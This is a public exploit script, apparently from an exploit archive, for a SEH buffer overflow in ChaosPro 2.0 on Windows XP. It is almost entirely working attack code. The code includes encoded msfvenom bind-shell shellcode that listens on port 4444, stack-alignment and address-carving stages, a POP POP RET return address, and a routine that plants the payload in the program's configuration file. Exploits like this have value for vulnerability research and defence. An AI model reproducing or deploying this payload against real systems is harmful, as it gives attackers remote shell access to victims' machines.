ChaosPro 2.0 Buffer Overflow

`# Exploit Title: ChaosPro 2.0 - Buffer Overflow (SEH)  
# Date: 2019-10-27  
# Exploit Author: Chase Hatch (SYANiDE)  
# Vendor Homepage: http://www.chaospro.de/  
# Software link: http://www.chaospro.de/cpro20.zip  
# Version: 2.0  
# Tested on: Windows XP Pro OEM  
  
#!/usr/bin/env python2  
import os, sys  
  
  
# sploit = "A"* 5000 ## Crash! 41414141 in SEH! via ProfilePath or PicturePath. Windows XP OEM  
# `locate pattern_create.rb | head -n 1` 5000 # 326d4431  
# `locate pattern_offset.rb | head -n 1` 326d4431 5000 # 2705  
# sploit = "A" * (2705 - 4 - 126) # 2575  
# sploit = (pattern_create) # `locate pattern_create.rb|head -n 1` 2575 # 0012F51C dump is 61354161, or 61413561 in LE  
# `locate pattern_offset.rb|head -n 1` 61413561 2575  
# 16  
  
  
################ Second stage ####################  
sploit = "A"*16  
# msfvenom -p windows/shell_bind_tcp LPORT=4444 EXITFUNC=seh   
#, BufferRegister=ESP -b "\x00" -e x86/alpha_mixed -i 1 -f c  
sploit += (  
"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"  
"\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b"  
"\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"  
"\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x6b\x58\x6e\x62\x77\x70"  
"\x75\x50\x57\x70\x71\x70\x6c\x49\x68\x65\x44\x71\x4b\x70\x50"  
"\x64\x4e\x6b\x52\x70\x36\x50\x4c\x4b\x36\x32\x66\x6c\x4e\x6b"  
"\x62\x72\x54\x54\x6e\x6b\x72\x52\x34\x68\x54\x4f\x6d\x67\x50"  
"\x4a\x31\x36\x30\x31\x6b\x4f\x6c\x6c\x55\x6c\x71\x71\x31\x6c"  
"\x53\x32\x76\x4c\x67\x50\x7a\x61\x48\x4f\x56\x6d\x33\x31\x6b"  
"\x77\x58\x62\x4a\x52\x61\x42\x56\x37\x6e\x6b\x52\x72\x52\x30"  
"\x4c\x4b\x71\x5a\x37\x4c\x4e\x6b\x32\x6c\x52\x31\x50\x78\x4b"  
"\x53\x37\x38\x75\x51\x68\x51\x62\x71\x4c\x4b\x46\x39\x45\x70"  
"\x53\x31\x68\x53\x4c\x4b\x51\x59\x64\x58\x4b\x53\x64\x7a\x63"  
"\x79\x6c\x4b\x34\x74\x4c\x4b\x33\x31\x6b\x66\x36\x51\x49\x6f"  
"\x6c\x6c\x7a\x61\x58\x4f\x64\x4d\x67\x71\x68\x47\x70\x38\x4b"  
"\x50\x64\x35\x68\x76\x54\x43\x43\x4d\x58\x78\x67\x4b\x33\x4d"  
"\x56\x44\x72\x55\x79\x74\x43\x68\x4c\x4b\x50\x58\x46\x44\x77"  
"\x71\x58\x53\x65\x36\x4e\x6b\x44\x4c\x62\x6b\x4c\x4b\x32\x78"  
"\x45\x4c\x33\x31\x6a\x73\x6c\x4b\x53\x34\x6e\x6b\x46\x61\x7a"  
"\x70\x4b\x39\x72\x64\x57\x54\x61\x34\x51\x4b\x51\x4b\x35\x31"  
"\x31\x49\x71\x4a\x32\x71\x69\x6f\x69\x70\x73\x6f\x61\x4f\x52"  
"\x7a\x4c\x4b\x65\x42\x4a\x4b\x6e\x6d\x53\x6d\x65\x38\x75\x63"  
"\x35\x62\x67\x70\x45\x50\x51\x78\x70\x77\x71\x63\x55\x62\x43"  
"\x6f\x31\x44\x45\x38\x52\x6c\x43\x47\x65\x76\x43\x37\x49\x6f"  
"\x58\x55\x68\x38\x6c\x50\x43\x31\x67\x70\x73\x30\x55\x79\x6f"  
"\x34\x53\x64\x66\x30\x61\x78\x37\x59\x6b\x30\x52\x4b\x73\x30"  
"\x49\x6f\x39\x45\x52\x4a\x53\x38\x51\x49\x46\x30\x39\x72\x49"  
"\x6d\x67\x30\x42\x70\x71\x50\x66\x30\x63\x58\x48\x6a\x44\x4f"  
"\x39\x4f\x59\x70\x4b\x4f\x4b\x65\x4e\x77\x51\x78\x37\x72\x73"  
"\x30\x47\x61\x43\x6c\x6c\x49\x38\x66\x72\x4a\x76\x70\x52\x76"  
"\x42\x77\x33\x58\x4b\x72\x69\x4b\x47\x47\x35\x37\x69\x6f\x5a"  
"\x75\x63\x67\x31\x78\x6f\x47\x59\x79\x50\x38\x79\x6f\x59\x6f"  
"\x6e\x35\x71\x47\x42\x48\x50\x74\x68\x6c\x47\x4b\x39\x71\x6b"  
"\x4f\x49\x45\x73\x67\x4e\x77\x31\x78\x50\x75\x72\x4e\x62\x6d"  
"\x61\x71\x49\x6f\x58\x55\x65\x38\x51\x73\x70\x6d\x33\x54\x47"  
"\x70\x6b\x39\x7a\x43\x73\x67\x72\x77\x53\x67\x45\x61\x6a\x56"  
"\x30\x6a\x32\x32\x46\x39\x51\x46\x6d\x32\x4b\x4d\x62\x46\x58"  
"\x47\x61\x54\x47\x54\x57\x4c\x36\x61\x53\x31\x6c\x4d\x50\x44"  
"\x44\x64\x56\x70\x69\x56\x57\x70\x53\x74\x71\x44\x62\x70\x42"  
"\x76\x51\x46\x76\x36\x77\x36\x56\x36\x42\x6e\x36\x36\x50\x56"  
"\x30\x53\x42\x76\x42\x48\x42\x59\x58\x4c\x37\x4f\x4b\x36\x69"  
"\x6f\x59\x45\x4b\x39\x6b\x50\x42\x6e\x62\x76\x47\x36\x59\x6f"  
"\x54\x70\x62\x48\x56\x68\x6d\x57\x65\x4d\x31\x70\x59\x6f\x7a"  
"\x75\x6d\x6b\x49\x6e\x66\x6e\x75\x62\x39\x7a\x71\x78\x6e\x46"  
"\x4a\x35\x4d\x6d\x6d\x4d\x79\x6f\x38\x55\x65\x6c\x57\x76\x31"  
"\x6c\x47\x7a\x4d\x50\x79\x6b\x59\x70\x52\x55\x63\x35\x6f\x4b"  
"\x31\x57\x37\x63\x44\x32\x42\x4f\x70\x6a\x35\x50\x51\x43\x69"  
"\x6f\x39\x45\x41\x41"  
) # 710 bytes  
sploit += "A" * (2575 - 16 - 710)  
  
  
################ First stage ####################  
  
# ESP: 0012E75C  
# ESP target: 0012FF98  
## Need to align to four-byte and 16-byte boundaries:  
# echo "ibase=16; obase=A;scale=4; (0012FF98 - 0012E75C) /16" |bc  
# 282.0000  
# echo "ibase=16; obase=A;scale=4; (0012FF98 - 0012E75C) /4" |bc  
# 1551.0000  
# echo "ibase=16; obase=10; 0012FF98 - 0012E75C" |bc  
# 183C  
# 0012FF32 54 PUSH ESP  
# 0012FF33 58 POP EAX  
# 0012FF34 66:05 3C18 ADD AX,183C  
# 0012FF38 50 PUSH EAX  
# 0012FF39 5C POP ESP  
sploit += "\x54\x58\x66\x05\x3c\x18\x50\x5c" # 8  
  
  
# target instruction to push onto stack at new ESP: FFE4 JMP ESP # 4141E4FF  
# ./calc_target2.py 4141E4FF 0 7f7f017f 0101017f 3e3e1803  
# 0:25 28 28 28 28 and eax,0x28282828  
# 5:25 47 47 47 47 and eax,0x47474747  
# a:2d 7f 01 7f 7f sub eax,0x7f7f017f  
# f:2d 7f 01 01 01 sub eax,0x101017f  
# 14:2d 03 18 3e 3e sub eax,0x3e3e1803  
# 19:50 push eax  
sploit += (  
"\x25\x28\x28\x28\x28"  
"\x25\x47\x47\x47\x47"  
"\x2d\x7f\x01\x7f\x7f"  
"\x2d\x7f\x01\x01\x01"  
"\x2d\x03\x18\x3e\x3e"  
"\x50"  
) # 26 bytes  
  
## Realign new ESP with beginning of overflow buffer:  
## New ESP should be four-byte and 16-byte aligned:  
# echo "ibase=16; obase=A;scale=4; (0012FF98 - 0012F51C) / 16" |bc  
# 122.0000  
# echo "ibase=16; obase=A;scale=4; (0012FF98 - 0012F51C) / 4" |bc  
# 671.0000  
# echo "ibase=16; obase=10;0012FF98 - 0012F51C" |bc  
# A7C  
## Need to adjust ESP down the stack past the JMP ESP, so push/pop ahead of the JMP ESP we're trying to sled into (keep the sled clean)  
# 0012FF54 44 INC ESP  
# 0012FF55 44 INC ESP  
# 0012FF56 44 INC ESP  
# 0012FF57 44 INC ESP  
# 0012FF58 44 INC ESP  
# 0012FF59 44 INC ESP  
# 0012FF5A 44 INC ESP  
# 0012FF5B 44 INC ESP  
sploit += "\x44\x44\x44\x44\x44\x44\x44\x44" # 8  
  
## Going to have to carve out the address 0012F51C  
# ./calc_target2.py 0012F51C 0 7f7f017f 61010101 1f6d0864  
# 0:25 02 02 02 02 and eax,0x2020202  
# 5:25 51 51 51 51 and eax,0x51515151  
# a:2d 7f 01 7f 7f sub eax,0x7f7f017f  
# f:2d 01 01 01 61 sub eax,0x61010101  
# 14:2d 64 08 6d 1f sub eax,0x1f6d0864  
# 19:50 push eax  
sploit +=(  
"\x25\x02\x02\x02\x02"  
"\x25\x51\x51\x51\x51"  
"\x2d\x7f\x01\x7f\x7f"  
"\x2d\x01\x01\x01\x61"  
"\x2d\x64\x08\x6d\x1f"  
"\x50"  
) # 26 bytes  
  
## Finally, set ESP for the alpha_mixed BufferRegister + JMP ESP  
# 5C POP ESP  
sploit += "\x5c" # 1  
  
sploit += "A" * (126 - 8 - 26 - 8 - 26 - 1)  
  
################ RET from SEH: JMP SHORT - 126 ####################  
  
sploit += "\xeb\x80" + "\x41\x41" # 4  
# 00401B44 |. 5F POP EDI  
# 00401B45 |> 5E POP ESI  
# 00401B46 \. C3 RETN  
sploit += "\x44\x1b\x40\x00"  
  
  
################ build the config ####################  
## Running from just outside base directory of ChaosPro:  
  
def ret_cfg(inp):  
# do it live in PicturePath  
cfg = """PicturePath %s""" % inp  
with open("chaospro\\ChaosPro.cfg",'w') as F:  
F.write(cfg)  
F.close()  
  
ret_cfg(sploit)  
`